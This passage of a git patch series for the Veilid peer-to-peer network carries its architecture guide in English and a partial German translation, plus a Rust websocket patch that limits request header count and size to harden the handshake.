- When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. -

- -

- The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. -

- -

- The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send watch_value RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent set_value calls, at which time the receiver sends the sending peer a value_changed RPC to push the new value. As with other RPC calls, watch_value needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, watch_value may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. -

- -

- TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? -

- -

Appendix 1: Dial Info and Signaling

- -

Appendix 2: RPC Listing

- - diff --git a/docs/guide/guide.md b/docs/guide/guide.md deleted file mode 100644 index 6c5d63b8..00000000 --- a/docs/guide/guide.md +++ /dev/null @@ -1,126 +0,0 @@ -# early α docs - -# please don't share publicly - -# Veilid Architecture Guide - -- [From Orbit](#from-orbit) -- [Bird's Eye View](#birds-eye-view) - - [Peer Network for Data Storage](#peer-network-for-data-storage) - - [Block Store](#block-store) - - [Key-Value Store](#key-value-store) - - [Structuring Data](#structuring-data) - - [Peer and User Identity](#peer-and-user-identity) -- [On The Ground](#on-the-ground) - - [Peer Network, Revisited](#peer-network-revisited) - - [User Privacy](#user-privacy) - - [Block Store, Revisited](#block-store-revisited) - - [Key-Value Store, Revisited](#key-value-store-revisited) - -## From Orbit - -The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. - -Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. - -The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. - -* * * - -## Bird's Eye View - -Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. - -### Peer Network for Data Storage - -The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. - -The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. - -### Block Store - -File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. - -### Key-Value Store - -Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. - -For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. - -KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. - -### Structuring Data - -The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different _versions_ of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. - -Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. - -Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. - -### Peer and User Identity - -Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. - -User identity is a slightly richer notion. Users, that is to say, _people_, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. - -To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. - -* * * - -## On The Ground - -The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. - -### Peer Network, Revisited - -First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. - -When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. - -To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named `find_node`. Given any particular peer ID, the receiver of a `find_node` call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, then it's done, otherwise it calls `find_node` again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desired peer's dial info, has exhausted the entire network, or gives up. - -### User Privacy - -In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. - -The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. - -Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. - -Each peer in the hop, including the initial peer, sends a `route` RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. - -Note that the routes are _user_ oriented. They should be understood as a way to talk to a particular _user's_ peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the _user's_ identity with their _peer's_ identity. You know that the user is somewhere on the network, but you don't know which IP address is theirs, even if you do in fact have their peer's dial info stored in the routing table. - -### Block Store Revisited - -As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. - -If a peer wishes to supply the block, it makes a `supply_block` RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. - -Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send `supply_block` messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. - -To retrieve a block that has been stored in the blockstore, a peer makes a `find_block` RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. - -Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. - -The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. - -### Key-Value Store, Revisited - -The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: _not_ peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. - -When a user wishes to store data under their key, they send a `set_value` RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles `supply_block` calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. - -Retrieval is similar to block store retrieval. The desired key is provided to a `get_value` call, which may return the value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. - -When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. - -The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. - -The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send `watch_value` RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent `set_value` calls, at which time the receiver sends the sending peer a `value_changed` RPC to push the new value. As with other RPC calls, `watch_value` needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, `watch_value` may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. - -TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? - -## Appendix 1: Dial Info and Signaling - -## Appendix 2: RPC Listing diff --git a/veilid-core/src/network_manager/native/protocol/ws.rs b/veilid-core/src/network_manager/native/protocol/ws.rs index cc864882..80153ba4 100644 --- a/veilid-core/src/network_manager/native/protocol/ws.rs +++ b/veilid-core/src/network_manager/native/protocol/ws.rs @@ -1,10 +1,22 @@ use super::*; use async_tls::TlsConnector; +use async_tungstenite::tungstenite::handshake::server::{ + Callback, ErrorResponse, Request, Response, +}; +use async_tungstenite::tungstenite::http::StatusCode; use async_tungstenite::tungstenite::protocol::Message; -use async_tungstenite::{accept_async, client_async, WebSocketStream}; +use async_tungstenite::{accept_hdr_async, client_async, WebSocketStream}; use futures_util::{AsyncRead, AsyncWrite, SinkExt}; use sockets::*; + +/// Maximum number of websocket request headers to permit +const MAX_WS_HEADERS: usize = 24; +/// Maximum size of any one specific websocket header +const MAX_WS_HEADER_LENGTH: usize = 512; +/// Maximum total size of headers and request including newlines +const MAX_WS_BEFORE_BODY: usize = 2048; + cfg_if! { if #[cfg(feature="rt-async-std")] { pub type WebsocketNetworkConnectionWSS = @@ -180,29 +192,57 @@ impl WebsocketProtocolHandler { log_net!("WS: on_accept_async: enter"); let request_path_len = self.arc.request_path.len() + 2; - let mut peekbuf: Vec = vec![0u8; request_path_len]; - if let Err(_) = timeout( + let mut peek_buf = [0u8; MAX_WS_BEFORE_BODY]; + let peek_len = match timeout( self.arc.connection_initial_timeout_ms, - ps.peek_exact(&mut peekbuf), + ps.peek(&mut peek_buf), ) .await { + Err(_) => { + // Timeout + return Ok(None); + } + Ok(Err(_)) => { + // Peek error + return Ok(None); + } + Ok(Ok(v)) => v, + }; + + // If we can't peek at least our request path, then fail out + if peek_len < request_path_len { return Ok(None); } // Check for websocket path - let matches_path = &peekbuf[0..request_path_len - 2] == self.arc.request_path.as_slice() - && (peekbuf[request_path_len - 2] == b' ' - || (peekbuf[request_path_len - 2] == b'/' - && peekbuf[request_path_len - 1] == b' ')); + let matches_path = &peek_buf[0..request_path_len - 2] == self.arc.request_path.as_slice() + && (peek_buf[request_path_len - 2] == b' ' + || (peek_buf[request_path_len - 2] == b'/' + && peek_buf[request_path_len - 1] == b' ')); if !matches_path { return Ok(None); } - let ws_stream = accept_async(ps) - .await - .map_err(|e| io_error_other!(format!("failed websockets handshake: {}", e)))?; + // Check for double-CRLF indicating end of headers + // if we don't find the end of the headers within MAX_WS_BEFORE_BODY + // then we should bail, as this could be an attack or at best, something malformed + // Yes, this restricts our handling to CRLF-conforming HTTP implementations + // This check could be loosened if necessary, but until we have a reason to do so + // a stricter interpretation of HTTP is possible and desirable to reduce attack surface + + if peek_buf.windows(4).position(|w| w == b"\r\n\r\n").is_none() { + return Ok(None); + } + + let ws_stream = match accept_hdr_async(ps, self.clone()).await { + Ok(v) => v, + Err(e) => { + log_net!(debug "failed websockets handshake: {}", e); + return Ok(None); + } + }; // Wrap the websocket in a NetworkConnection and register it let protocol_type = if self.arc.tls { @@ -292,6 +332,24 @@ impl WebsocketProtocolHandler { } } +impl Callback for WebsocketProtocolHandler { + fn on_request(self, request: &Request, response: Response) -> Result { + // Cap the number of headers total and limit the size of all headers + if request.headers().len() > MAX_WS_HEADERS + || request + .headers() + .iter() + .find(|h| (h.0.as_str().len() + h.1.as_bytes().len()) > MAX_WS_HEADER_LENGTH) + .is_some() + { + let mut error_response = ErrorResponse::new(None); + *error_response.status_mut() = StatusCode::NOT_FOUND; + return Err(error_response); + } + Ok(response) + } +} + impl ProtocolAcceptHandler for WebsocketProtocolHandler { fn on_accept( &self, From 4999095bb3f327f52070636ab3991b8113c10a34 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 13:48:24 -0400 Subject: [PATCH 45/47] consolidate docs, add security poc --- doc/guide/guide-DE.md | 128 +++++++++ doc/guide/guide.css | 28 ++ doc/guide/guide.html | 255 ++++++++++++++++++ doc/guide/guide.md | 126 +++++++++ .../poc/large-websocket-key-v0.2.2.py | 7 + 5 files changed, 544 insertions(+) create mode 100644 doc/guide/guide-DE.md create mode 100644 doc/guide/guide.css create mode 100644 doc/guide/guide.html create mode 100644 doc/guide/guide.md create mode 100644 doc/security/poc/large-websocket-key-v0.2.2.py diff --git a/doc/guide/guide-DE.md b/doc/guide/guide-DE.md new file mode 100644 index 00000000..cc89e262 --- /dev/null +++ b/doc/guide/guide-DE.md @@ -0,0 +1,128 @@ +# Frühe A Dokumente + +# Bitte nicht öffentlich teilen + +# Veilid Architektur Leitfaden + +- [Aus der Umlaufbahn](#aus-der-umlaufbahn) +- [Aus der Vogelperspektive](#vogelperspektive) + - [Peer Netzwerk zum Datenspeichern](#peer_netzwerk_zur_datenspeicherung) + - [Block Speicher](#block-speicher) + - [Key-Value Speicher](#key-value-speicher) + - [Datenstrukturierung](#datenstrukturierung) + - [Peer- und Benutzeridentät](#peer-und-benutzeridentität) +- [Am Boden](#am_boden) + - [Peer Netzwerk im Detail](#peer-netzwerk-im-detail) + - [Benutzerprivatsphäre](#benutzerprivatsphäre) + - [Block Speicher im Detaail](#block-store-im-detail) + - [Key-Value Speicher im Detail](#key-value-speicher-im-detail) + +## Aus der Umlaufbahn + +Als Erstes wird die Frage behandelt "Was ist Veiled?". Die allgemeinste Beschreibung ist, dass Veilid ein Peer-to-Peer-Netzwerk zum Teilen von verschiedenen Arten von Daten ist. + +Veilid wurde mit der Idee im Hinterkopf entworfen, dass jeder Benutzer seine eigenen Inhalte im Netzwerk speichern kann. Aber es ist auch möglich diese mit anderen ausgewählten Leuten zu teilen oder (wenn gewollt) auch mit gesamten Rest der Welt. + +Der primäre Zweck des Veild Netzwerks ist es Infrastruktur für eine besondere Art von geteilten Daten zur Verfügung zu stellen: Social Medien in verschiedensten Arten. Dies umfasst leichtgewichtige Inhalte wie Twitters/Xs Tweets oder Mastodons Toots, mittleschwere Inhalte wie Bilder oder Lieder und schwergewichtige Inhalte wie Videos. Es ist eben so beabsichtigt Meta-Inhalte (wie persönliche Feeds, Antworten, private Nachrichten und so weiter) auf Basis von Veilid laufen zu lassen. + +* * * + +## Vogelperspektive + +Nachdem wir nun wissen was Veilid ist und was in Veilid abgelegt werden sollte, ist es nun an der Zeit die Teile zu behandeln, die erklären wie Veilid dies ermöglicht. Natürlich nicht super detailiert (das kommt später), sondern her auf eine mittleren Detailgrad so dass alles auf einmal zur gleichen Zeit vom Leser verstanden werden kann. + +### Peer Netzwerk zur Datenspeicherung + +Auf unterster Ebene ist Veilid ein Netzwerk aus "Peers", die miteinander über das Internet kommunizieren. Peers senden sich gegenseitig Nachrichten (sogenannte Remote Procedure Calls) bezüglich der im Netzwerk ge- bzw. zu speichernden Daten und auch Nachrichten über das Netzwerk selbst. Zum Beispiel, kann eine Peer einen Anderen nach einer Datei fragen oder nach Informationen fragen, welche anderen Peers in Netzwerk bekannt sind/existieren. + +Die Daten, die im Netzwerk gespeichert sind, werden in zwei Arten von Daten unterteilt: Datei-artige Daten, die üblicherweise groß sind und textartige Daten, die üblicherweise klein sind. Jede Art wird in einem eigenen Untersystem gespeichert, dass das so gestaltet wurde, dass es für diese Art von Daten optimal ist. + +### Block Speicher + +Datei-artige Inhalte werden in einem inhaltsaddressierbaren Block Speicher abgelegt. Jeder Block ist einfach ein Haufen (Blob) aus irgendwelchen Daten (z.B. ein JPEG oder ein MP4) beliebiger Größe. Die Prüfsumme (Hash) eines Block dient als eindeutige ID für diesen Block und kann von anderen Peers benutzt werden, um diesen Block abzufragen. Technisch gesehen können auch textuelle Daten als Block gespeichert werden und das sollte genau dann passieren, wenn die textuelle Daten als eine Art Dokument oder Datei eines bestimmten Typs verstanden werden. + +### Key-Value Speicher + +Kleinere und kurzlebigere textuelle Inhalte werden in einem Key-Value Speicher gespeichert (KV Speicher).Sachen wie z.B. Status Updates, Blogeinträge oder Benutzerbeschreibungen usw. sind alle dafür gedachte in diesem Teil des Datenspeichers gespeichert zu werden. KV Speicher Daten sind nicht einfach "im Veild Netzwerk", sondern gehören Benutzern und (werden auch von diesen gesteuert/kontrolliert). Sie werden über einen beliebigen vom Eigentümer der Daten gewählten Namen identifiziert. Jede Gruppe von Benutzern kann Daten hinzufügen, aber man kann nur die Daten ändern, die man selbst hinzugefügt hat. + +Nehmen wir 2 beispielhafte Benutzer Boone und Marquette: Boones Benutzerbeschreibung und ihren Blogpost mit dem Titel "Hi, ich bin Bonne!" sind 2 Sachen, die dem selben Benutzer gehören, aber unterschiedliche ID haben. Boones Benutzerbeschreibung und Marquettes Benutzerbeschreibung sind 2 Sachen, die zwei unterschiedlichen Benutzer gehören, aber dieselbe ID haben. + +KV Speicher Daten sind zustandsbehaftet, so dass Änderungen an ihnen vorgenommen werden könen. Boones Benutzerbeschreibung z.B. wird sicher nicht unverändert bleiben, sondern sich eher im Laufe der Zeit ändern, wenn er z.B. den Job wechselt oder sich neue Hobbies aneignet usw.. Die Zustandsbehaftung zusammen mit den beliebigen nutzer-definierten Identifiern (anstatt Prüfsummen auf Inhalte (Content Hashes)) führt dazu,dass man Boones Benutzerbeschreibung als abstrakte Sache betrachten kann und sich für Update auf diese registrieren kann. + +### Datenstrukturierung + +Mit der Verbindung aus Block Speicher und Key_Value Speicher ist es mögliche auch komplexe Konzepte zu kombinieren. Ein Song könnte z.B. an zwei Orten in Veilid verteilt abgelegt sein. Der Block Speicher würde dabei die Rohdaten speichern und der Key-Value Speicher würde eine Beschreibung zur Idee des Song abspeichern. Diese wäre vielleicht in Form eines JSON Objekts mit Metadaten über den Song wie dem Titel, den Komponisten, das Datum, die Codierungsinformationen usw. ebenso wie die ID der Daten im Block Speicher. Wir können dann auch verschiedene Versionen der JSON Daten abspeichern, wenn das Stück aktualisiert, verbessert, überarbeitet oder was auch immer wird. Jede Version würde auf einen anderen Block im Block Speicher verweisen. Es ist immer noch "derselbe Song" aus konzeptueller Sicht und somit hat er auch dieselbe ID im KV Speicher, aber die Rohbits, die damit verbunden sind, sind für jede Version unterschiedlich. + +Ein anderes Beispiel (wenn auch mit einer noch etwas schwächeren Verbindung zum Block Speicher) wäre die Beschreibung eines Profilbildes. "Marquettes Profilbild" ist eine sehr abstrakte Beschreibung und genau genommen sind können sich die Bits, die damit zusammenhängen, im Laufe der Zeit stark variieren. So könnte es nicht nur verschiedene Versionen des Bildes, sondern auch komplett andere Bilder geben. Vielleicht ist es an einem Tage eine Foto von Marquette und am nächsten Tag ist es das Foto einer Blume. + +In Soziale Medien finden sich viele Beispiel für solche Konzepte: Freundeslisten, Blocklisten, Indizes von Postings und Favoriten-Listen. Die sind alle zustandsbehaftete Beschreibungen einer bestimmten Art: Eine stabile Referenz auf eine Sache, aber der genaue Inhalt der Sache verändert sich im Laufe der Zeit. Das ist genau das, was wir im KV Speicher ablegen wollen und sich somit vom Block Store abgrenzt, auch wenn diese Daten auf die Inhalte des Block Store referenzieren. + +### Peer- und Benutzeridentität + +Es gibt zwei Darstellungen von Identitäten im Netzwerk: Die Peer- und die Benutzeridentität. Die Peeridentität ist einfach genug: Jeder Peer hat ein kryptografisches Schlüsselpaar, das er benutzt, um mit anderen Peers sicher zu kommunizieren und zwar für beides: Traditionelle verschlüsselte Kommuniktion und auch durch verschiedene verschlüsselte Routen. Die Peeridentität ist nur die ID einer bestimmten Instanz der Veilid Software, die auf einem Computer läuft. + +Die Benutzeridentität wird deutlich umfassender genutzt. Benutzer (also Leute) wollen auf das Veilid Netzwerk zugreifen, so dass sie eine konsistente Identität über Geräte und Apps/Programme hinweg haben. Da aber Veilid keine Server in traditionellen Sinne hat, können wir nicht auf das normale Konzept von Benutzer-"Konten" zurückgreifen. Würde man das tun, würden Zentralisierungsspunkte im Netzwerk eingeführt werden, die in klassischen System oft die Quelle von Problemen gewesen sind. Viele Mastodon Benutzer habe sich schon in schwierigen Situationen befunden, wenn Ihre Instanzen Schwierigkeiten mit Ihren Sysadmin hatten und diese dann plötzlich die Instanzen abschalteten ohne vorher genug zu warnen. + +Um diese Re-Zentralisierung von Identitäten zu vermeiden, nutzen wir kryptografische Identitäten auch für alle Benutzer. Das Schlüsselpaar den Benutzers wird zum Signieren und Verschlüsseln ihrer Inhalte benutzt, wie es notwendig ist, wenn man Inhalte auf den Datenspeicher veröffentlichen will. Ein Benutzer wird als "in seine Client App/Anwendung eingeloggt" bezeichnet, wenn die App/Anwendung eine Kopie seines privaten Schlüssels hat. Wenn man in eine Client App eingeloggt, dann verhält sie sich wie jede andere der Client Apps des Benutzers und ermöglicht es ihm Inhalte zu ent- und verschlüsseln,Nachrichten zu signieren und so weiter. Schlüssel können in neue Apps eingefügt werden, um sich in diese einzuloggen. Dies erlaubt dem Benutzer so viele Client Apps (auf jeder beliebigen Anzahl an Geräten zu haben) wie sie haben wollen. + +* * * + +## Am Boden + +Die Vogelperspektive macht es möglich alles auf einmal im Kopf zu behalten, dafür lässt sie aber viele Implementierungsdetails weg. Deswegen ist es jetzt an der Zeit auf den "Boden" zurückzukehren und sich die Hände schmutzig zu machen. Grundsätzlich sollten es genug Informationen sein, um eine System ähnliche wie Veilid zu implementieren (mit der Ausnahmen von spezifischen Details der APIs und Datenformate). Dieser Anschnitt enthält keinen Code. Er ist keine Dokumentation des Codes selber, sondern der Kern eine Whitepapers. + +### Peer Netwerk im Detail + +Lasst uns als Erstes das Peer Netzwerk ansehen, weil seine Struktur die Basis für den Rest des Datenspeicherungsansatz bildet. Veilids Peer Netzwerk ist in der Art ähnlich zu anderen Peer to Peer Systemen, dass es sich von oben auf auf andere Protokolle legt und diese überlagert. Veilid versucht auf seine Art protokoll-agnostisch zu sein und ist aktuell entworfen um TCP, UDP, WebSocket und WebRTC sowie verschiedene Methoden zu Überwindung von NATs zu nutzen, so dass Veilid Peers auch Smartphones oder Computer bei unvertrauenswürdigen Internetanbietern und Ähnlichem seien können. Um das sicher zu stellen werden Peers nicht über eine Netzwerk Identität wie IP Adressen identifiziert, sondern über eine kryptografische Schlüsselpaar, das durch den Peer festgelegt wird. Jeder Peer veröffentlicht/bewirbt eine Menge von Optionen wie man mit Ihm kommunizieren kann. Diese nennt sich Dial Info und wenn ein Peer mit einem Anderen sprechen will, dann besorgt er sich die Dial Info von dem Peer aus dem Netzwerk und nutzt diese um zu kommunizieren. + +Wenn sich ein Peer erstmalig mit Veilid verbindet, dann macht er dass in dem er die "Bootstrap Nodes" kontaktiert, die einfache IP Adressen Dial Infos haben, für die durch die Netzwerk Maintainer garantiert wird, dass diese (zeit-) stabil sind. Diese Bootstrap-Peers sind die ersten Einträge in der Routing Tabelle des Peers. Die Routing Tabelle ist ein sortiertes Adressbuch mit dem man feststellen kann, wie man mit einem Peer sprechen kann. + +Die Routing Tabelle besteht aus einer Zuordnung öffentlicher Schlüssel der Peers zu einer nach Priorität sortierten Auswahl von Dial Infos. Um die Routing Tabelle zu befüllen, fragt der Peer andere Peers was seine Nachbarn im Netzwerk sind. Die Bezeichnung "Nachbar" ist hier über ein Ähnlichkeitsmaß bezüglich der Peer IDs definiert (genauer gesagt dem XOR Maß das viele Verteilte Hash Tables (DHTs) nutzen). Im Verlauf der Interaktionen mit dem dem Netzwerk wird der Peer die Dail Infos aktualisieren, wenn er Veränderungen feststellt. Ebenso kann er auch Dail Info für Peers abhängig von Ihrer Peer ID hinzufügen, die er im Verlauf entdeckt. + +Um mit einen bestimmten Peer zu sprechen wird seine Dail Info in der Routing Tabelle nachgeschlagen. Wenn es eine Dail Info gibt, dann werden die Optionen in der durch die Routing Tabelle festgelegten Priorisierungsreihenfolge durchprobiert. Falls es die Dail Info nicht gibt, dann muss der Peer die Dail Info aus den Netzwerk anfragen. Dabei schaut er in seine Routing Tabelle, um den Peer zu finden der entsprechend der XOR Maß der nächstgelegene zum Zielpeer ist und schickt ihm einen RPC Aufruf mit dem Namen "find-node". Für jede gegebene Peer ID antwortet der Empfänger des "find-node" auf Rufs mit den Dial Infos der Peers in seiner Routing Tabelle, die der ID am nächsten sind. Die bringt den Peer näher an sein Ziel und zumindest in die Richtung des Peers nach dem er fragt. Wenn die Info des gewünschten Peers in der Antwort des Aufrufs enthalten war, dann ist der Vorgang beendet, sonst sendet er weiter "find-node" Aufrufe um dem gewünschten Zielpeer näher zu kommen. So bahnt er sich seinen Weg und versucht verschiedene alternative Peers (falls notwendig), 